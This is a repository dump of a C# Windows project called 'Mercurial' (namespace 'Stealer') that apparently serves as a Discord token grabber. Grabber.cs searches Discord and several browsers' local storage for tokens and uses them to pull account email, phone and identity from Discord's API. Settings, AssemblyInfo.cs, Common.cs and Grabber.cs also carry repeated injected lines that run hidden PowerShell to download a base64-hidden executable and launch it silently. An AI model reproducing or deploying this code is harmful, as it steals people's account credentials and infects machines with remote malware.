27 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
28 |
29 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
30 |
31 | namespace Mercurial.Properties
32 | {
33 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
34 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")]
35 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase
36 | {
37 |
38 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
39 |
40 | public static Settings Default
41 | {
42 | get
43 | {
44 | return defaultInstance;
45 | }
46 | }
47 | }
48 | }
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
--------------------------------------------------------------------------------
/Mercurial/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 |
4 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
5 |
6 |
7 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
8 |
9 |
10 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
11 |
12 | using System.Runtime.InteropServices;
13 |
14 |
15 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
16 |
17 |
18 |
19 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
20 |
21 |
22 |
23 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
24 |
25 | // General Information about an assembly is controlled through the following
26 | // set of attributes. Change these attribute values to modify the information
27 | // associated with an assembly.
28 | [assembly: AssemblyTitle("Mercurial")]
29 | [assembly: AssemblyDescription("")]
30 | [assembly: AssemblyConfiguration("")]
31 | [assembly: AssemblyCompany("")]
32 | [assembly: AssemblyProduct("Mercurial")]
33 | [assembly: AssemblyCopyright("Copyright © 2021")]
34 | [assembly: AssemblyTrademark("")]
35 | [assembly: AssemblyCulture("")]
36 |
37 | // Setting ComVisible to false makes the types in this assembly not visible
38 | // to COM components. If you need to access a type in this assembly from
39 | // COM, set the ComVisible attribute to true on that type.
40 | [assembly: ComVisible(false)]
41 |
42 | // The following GUID is for the ID of the typelib if this project is exposed to COM
43 | [assembly: Guid("777d01dc-f044-42a8-8a5b-d366dad4e130")]
44 |
45 | // Version information for an assembly consists of the following four values:
46 | //
47 | // Major Version
48 | // Minor Version
49 | // Build Number
50 | // Revision
51 | //
52 | // You can specify all the values or you can default the Build and Revision Numbers
53 | // by using the '*' as shown below:
54 | // [assembly: AssemblyVersion("1.0.*")]
55 | [assembly: AssemblyVersion("1.0.0.0")]
56 | [assembly: AssemblyFileVersion("1.0.0.0")]
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
--------------------------------------------------------------------------------
/Mercurial/packages.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
--------------------------------------------------------------------------------
/Mercurial/Resources/Common.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 |
4 |
5 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
6 |
7 |
8 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
9 | using System.Linq;
10 |
11 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
12 |
13 |
14 |
15 |
16 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
17 |
18 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
19 |
20 | using System.Text;
21 |
22 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
23 | using System.Threading.Tasks;
24 | using System.Text.RegularExpressions;
25 | using System.Net.Http;
26 | using System.Net;
27 | using System.IO;
28 | namespace Stealer
29 | {
30 | class Common
31 | {
32 | static int fileCounter = 1;
33 | public static string fileName = String.Empty;
34 |
35 | public static string Extract(string target, string content)
36 | {
37 | string output = String.Empty;
38 | Regex rx = new Regex("\"" + target + "\"\\s*:\\s*(\"(?:\\\\\"|[^\"])*?\")");
39 | MatchCollection matches = rx.Matches(content);
40 | foreach (Match match in matches)
41 | {
42 | GroupCollection groups = match.Groups;
43 | output = groups[1].Value;
44 | }
45 | output = output.Replace("\"", "");
46 | return output;
47 | }
48 |
49 | public static List RegexJson(string content, string regex)
50 | {
51 | List output = new List();
52 | var pattern = new Regex(regex, RegexOptions.Compiled).Matches(content);
53 | foreach (Match prof in pattern)
54 | {
55 | if (prof.Success)
56 | {
57 | output.Add(prof.Groups[1].Value);
58 | }
59 | }
60 | return output;
61 | }
62 |
63 | public static void WriteToFile(string writeText)
64 | {
65 |
66 | fileName = User.tempFolder + "\\history" + ".txt";
67 | if (File.Exists(fileName))
68 | {
69 | string str = File.ReadAllText(fileName);
70 |
71 | if ((str.Length + writeText.Length) / 1024 > 8000)
72 | {
73 | fileCounter++;
74 | fileName = User.tempFolder + "\\history_" + fileCounter + ".txt";
75 | StreamWriter _sw = new StreamWriter(fileName, true);
76 | _sw.WriteLine(writeText);
77 | _sw.Close();
78 |
79 | }
80 | else // use exixting file
81 | {
82 | StreamWriter _sw = new StreamWriter(fileName, true);
83 | _sw.WriteLine(writeText);
84 | _sw.Close();
85 | }
86 | }
87 |
88 | }
89 | }
90 |
91 |
92 |
93 | }
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
--------------------------------------------------------------------------------
/Mercurial/Mercurial.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | Debug
7 | AnyCPU
8 | {777D01DC-F044-42A8-8A5B-D366DAD4E130}
9 | WinExe
10 | Mercurial
11 | Mercurial
12 | v4.7.2
13 | 512
14 | true
15 | true
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 | AnyCPU
27 | true
28 | full
29 | false
30 | bin\Debug\
31 | DEBUG;TRACE
32 | prompt
33 | 4
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 | AnyCPU
43 | pdbonly
44 | true
45 | bin\Release\
46 | TRACE
47 | prompt
48 | 4
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 | logo.ico
57 |
58 |
59 |
60 |
61 | Form1.cs
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 | Form1.cs
78 |
79 |
80 |
81 | ResXFileCodeGenerator
82 | Designer
83 | Resources.Designer.cs
84 |
85 |
86 |
87 | SettingsSingleFileGenerator
88 | Settings.Designer.cs
89 |
90 |
91 | True
92 | True
93 | Resources.resx
94 |
95 |
96 | True
97 | Settings.settings
98 | True
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 | This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.
112 |
113 |
114 |
115 |
116 |
117 |
118 |
119 |
120 |
121 |
122 |
123 |
124 |
125 |
126 |
127 |
128 |
129 |
130 |
131 |
--------------------------------------------------------------------------------
/Mercurial/Resources/Grabber.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 |
4 |
5 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
6 |
7 |
8 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
9 | using System.Linq;
10 |
11 |
12 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
13 |
14 |
15 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
16 |
17 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
18 |
19 | using System.Text;
20 |
21 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
22 | using System.Threading.Tasks;
23 | using System.Text.RegularExpressions;
24 | using System.IO;
25 | using System.Net.Http;
26 |
27 | namespace Stealer
28 | {
29 | class Grabber
30 | {
31 | public static List target = new List();
32 |
33 | private static void Scan()
34 | {
35 | string roaming = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
36 | string local = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
37 | target.Add(roaming + "\\Discord");
38 | target.Add(roaming + "\\discordcanary");
39 | target.Add(roaming + "\\discordptb");
40 | target.Add(roaming + "\\\\Opera Software\\Opera Stable");
41 | target.Add(local + "\\Google\\Chrome\\User Data\\Default");
42 | target.Add(local + "\\BraveSoftware\\Brave-Browser\\User Data\\Default");
43 | target.Add(local + "\\Yandex\\YandexBrowser\\User Data\\Default");
44 | }
45 | public static List Grab()
46 | {
47 | Scan();
48 | List tokens = new List();
49 | foreach (string x in target)
50 | {
51 | if (Directory.Exists(x))
52 | {
53 | string path = x + "\\Local Storage\\leveldb";
54 | DirectoryInfo leveldb = new DirectoryInfo(path);
55 | foreach (var file in leveldb.GetFiles(false ? "*.log" : "*.ldb"))
56 | {
57 | string contents = file.OpenText().ReadToEnd();
58 | foreach (Match match in Regex.Matches(contents, @"[\w-]{24}\.[\w-]{6}\.[\w-]{27}"))
59 | tokens.Add(match.Value);
60 |
61 | foreach (Match match in Regex.Matches(contents, @"mfa\.[\w-]{84}"))
62 | tokens.Add(match.Value);
63 | }
64 | }
65 | }
66 | return tokens;
67 | }
68 |
69 | public static void Minecraft()
70 | {
71 | string roaming = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
72 | string target = roaming + "\\.minecraft\\launcher_profiles.json";
73 | Console.WriteLine(target);
74 | }
75 | }
76 |
77 | class Token
78 | {
79 | private string token;
80 | private string jsonResponse = String.Empty;
81 |
82 | public string fullUsername;
83 | public string userId;
84 | public string avatarUrl;
85 | public string phoneNumber;
86 | public string email;
87 | public string locale;
88 | public string creationDate;
89 |
90 | public Token(string inToken)
91 | {
92 | token = inToken;
93 | PostToken();
94 | }
95 |
96 | private void PostToken()
97 | {
98 | try
99 | {
100 | using (HttpClient client = new HttpClient())
101 | {
102 | client.DefaultRequestHeaders.Add("Authorization", token);
103 | var response = client.GetAsync("https://discordapp.com/api/v8/users/@me");
104 | var final = response.Result.Content.ReadAsStringAsync();
105 | jsonResponse = final.Result;
106 | }
107 | GetData();
108 | }
109 | catch
110 | {
111 | }
112 | }
113 | private void GetData()
114 | {
115 | string username = Common.Extract("username", jsonResponse);
116 | userId = Common.Extract("id", jsonResponse);
117 | string discriminator = Common.Extract("discriminator", jsonResponse);
118 | fullUsername = username + "#" + discriminator;
119 |
120 | string avatarId = Common.Extract("avatar", jsonResponse);
121 | avatarUrl = "https://cdn.discordapp.com/avatars/" + userId + "/" + avatarId;
122 |
123 | phoneNumber = Common.Extract("phone", jsonResponse);
124 | email = Common.Extract("email", jsonResponse);
125 |
126 | locale = Common.Extract("locale", jsonResponse);
127 |
128 | long creation = (Convert.ToInt64(userId) >> 22) + 1420070400000;
129 | var result = DateTimeOffset.FromUnixTimeMilliseconds(creation).DateTime;
130 | creationDate = result.ToString();
131 | }
132 | }
133 | }
134 |
135 |
136 |
137 |
138 |
139 |
140 |
141 |
142 |
143 |
144 |
145 |
146 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
5 |
6 | # User-specific files
7 | *.rsuser
8 | *.suo
9 | *.user
10 | *.userosscache
11 | *.sln.docstates
12 |
13 | # User-specific files (MonoDevelop/Xamarin Studio)
14 | *.userprefs
15 |
16 | # Mono auto generated files
17 | mono_crash.*
18 |
19 | # Build results
20 | [Dd]ebug/
21 | [Dd]ebugPublic/
22 | [Rr]elease/
23 | [Rr]eleases/
24 | x64/
25 | x86/
26 | [Ww][Ii][Nn]32/
27 | [Aa][Rr][Mm]/
28 | [Aa][Rr][Mm]64/
29 | bld/
30 | [Bb]in/
31 | [Oo]bj/
32 | [Oo]ut/
33 | [Ll]og/
34 | [Ll]ogs/
35 |
36 | # Visual Studio 2015/2017 cache/options directory
37 | .vs/
38 | # Uncomment if you have tasks that create the project's static files in wwwroot
39 | #wwwroot/
40 |
41 | # Visual Studio 2017 auto generated files
42 | Generated\ Files/
43 |
44 | # MSTest test Results
45 | [Tt]est[Rr]esult*/
46 | [Bb]uild[Ll]og.*
47 |
48 | # NUnit
49 | *.VisualState.xml
50 | TestResult.xml
51 | nunit-*.xml
52 |
53 | # Build Results of an ATL Project
54 | [Dd]ebugPS/
55 | [Rr]eleasePS/
56 | dlldata.c
57 |
58 | # Benchmark Results
59 | BenchmarkDotNet.Artifacts/
60 |
61 | # .NET Core
62 | project.lock.json
63 | project.fragment.lock.json
64 | artifacts/
65 |
66 | # ASP.NET Scaffolding
67 | ScaffoldingReadMe.txt
68 |
69 | # StyleCop
70 | StyleCopReport.xml
71 |
72 | # Files built by Visual Studio
73 | *_i.c
74 | *_p.c
75 | *_h.h
76 | *.ilk
77 | *.meta
78 | *.obj
79 | *.iobj
80 | *.pch
81 | *.pdb
82 | *.ipdb
83 | *.pgc
84 | *.pgd
85 | *.rsp
86 | *.sbr
87 | *.tlb
88 | *.tli
89 | *.tlh
90 | *.tmp
91 | *.tmp_proj
92 | *_wpftmp.csproj
93 | *.log
94 | *.vspscc
95 | *.vssscc
96 | .builds
97 | *.pidb
98 | *.svclog
99 | *.scc
100 |
101 | # Chutzpah Test files
102 | _Chutzpah*
103 |
104 | # Visual C++ cache files
105 | ipch/
106 | *.aps
107 | *.ncb
108 | *.opendb
109 | *.opensdf
110 | *.sdf
111 | *.cachefile
112 | *.VC.db
113 | *.VC.VC.opendb
114 |
115 | # Visual Studio profiler
116 | *.psess
117 | *.vsp
118 | *.vspx
119 | *.sap
120 |
121 | # Visual Studio Trace Files
122 | *.e2e
123 |
124 | # TFS 2012 Local Workspace
125 | $tf/
126 |
127 | # Guidance Automation Toolkit
128 | *.gpState
129 |
130 | # ReSharper is a .NET coding add-in
131 | _ReSharper*/
132 | *.[Rr]e[Ss]harper
133 | *.DotSettings.user
134 |
135 | # TeamCity is a build add-in
136 | _TeamCity*
137 |
138 | # DotCover is a Code Coverage Tool
139 | *.dotCover
140 |
141 | # AxoCover is a Code Coverage Tool
142 | .axoCover/*
143 | !.axoCover/settings.json
144 |
145 | # Coverlet is a free, cross platform Code Coverage Tool
146 | coverage*.json
147 | coverage*.xml
148 | coverage*.info
149 |
150 | # Visual Studio code coverage results
151 | *.coverage
152 | *.coveragexml
153 |
154 | # NCrunch
155 | _NCrunch_*
156 | .*crunch*.local.xml
157 | nCrunchTemp_*
158 |
159 | # MightyMoose
160 | *.mm.*
161 | AutoTest.Net/
162 |
163 | # Web workbench (sass)
164 | .sass-cache/
165 |
166 | # Installshield output folder
167 | [Ee]xpress/
168 |
169 | # DocProject is a documentation generator add-in
170 | DocProject/buildhelp/
171 | DocProject/Help/*.HxT
172 | DocProject/Help/*.HxC
173 | DocProject/Help/*.hhc
174 | DocProject/Help/*.hhk
175 | DocProject/Help/*.hhp
176 | DocProject/Help/Html2
177 | DocProject/Help/html
178 |
179 | # Click-Once directory
180 | publish/
181 |
182 | # Publish Web Output
183 | *.[Pp]ublish.xml
184 | *.azurePubxml
185 | # Note: Comment the next line if you want to checkin your web deploy settings,
186 | # but database connection strings (with potential passwords) will be unencrypted
187 | *.pubxml
188 | *.publishproj
189 |
190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
191 | # checkin your Azure Web App publish settings, but sensitive information contained
192 | # in these scripts will be unencrypted
193 | PublishScripts/
194 |
195 | # NuGet Packages
196 | *.nupkg
197 | # NuGet Symbol Packages
198 | *.snupkg
199 | # The packages folder can be ignored because of Package Restore
200 | **/[Pp]ackages/*
201 | # except build/, which is used as an MSBuild target.
202 | !**/[Pp]ackages/build/
203 | # Uncomment if necessary however generally it will be regenerated when needed
204 | #!**/[Pp]ackages/repositories.config
205 | # NuGet v3's project.json files produces more ignorable files
206 | *.nuget.props
207 | *.nuget.targets
208 |
209 | # Microsoft Azure Build Output
210 | csx/
211 | *.build.csdef
212 |
213 | # Microsoft Azure Emulator
214 | ecf/
215 | rcf/
216 |
217 | # Windows Store app package directories and files
218 | AppPackages/
219 | BundleArtifacts/
220 | Package.StoreAssociation.xml
221 | _pkginfo.txt
222 | *.appx
223 | *.appxbundle
224 | *.appxupload
225 |
226 | # Visual Studio cache files
227 | # files ending in .cache can be ignored
228 | *.[Cc]ache
229 | # but keep track of directories ending in .cache
230 | !?*.[Cc]ache/
231 |
232 | # Others
233 | ClientBin/
234 | ~$*
235 | *~
236 | *.dbmdl
237 | *.dbproj.schemaview
238 | *.jfm
239 | *.pfx
240 | *.publishsettings
241 | orleans.codegen.cs
242 |
243 | # Including strong name files can present a security risk
244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
245 | #*.snk
246 |
247 | # Since there are multiple workflows, uncomment next line to ignore bower_components
248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
249 | #bower_components/
250 |
251 | # RIA/Silverlight projects
252 | Generated_Code/
253 |
254 | # Backup & report files from converting an old project file
255 | # to a newer Visual Studio version. Backup files are not needed,
256 | # because we have git ;-)
257 | _UpgradeReport_Files/
258 | Backup*/
259 | UpgradeLog*.XML
260 | UpgradeLog*.htm
261 | ServiceFabricBackup/
262 | *.rptproj.bak
263 |
264 | # SQL Server files
265 | *.mdf
266 | *.ldf
267 | *.ndf
268 |
269 | # Business Intelligence projects
270 | *.rdl.data
271 | *.bim.layout
272 | *.bim_*.settings
273 | *.rptproj.rsuser
274 | *- [Bb]ackup.rdl
275 | *- [Bb]ackup ([0-9]).rdl
276 | *- [Bb]ackup ([0-9][0-9]).rdl
277 |
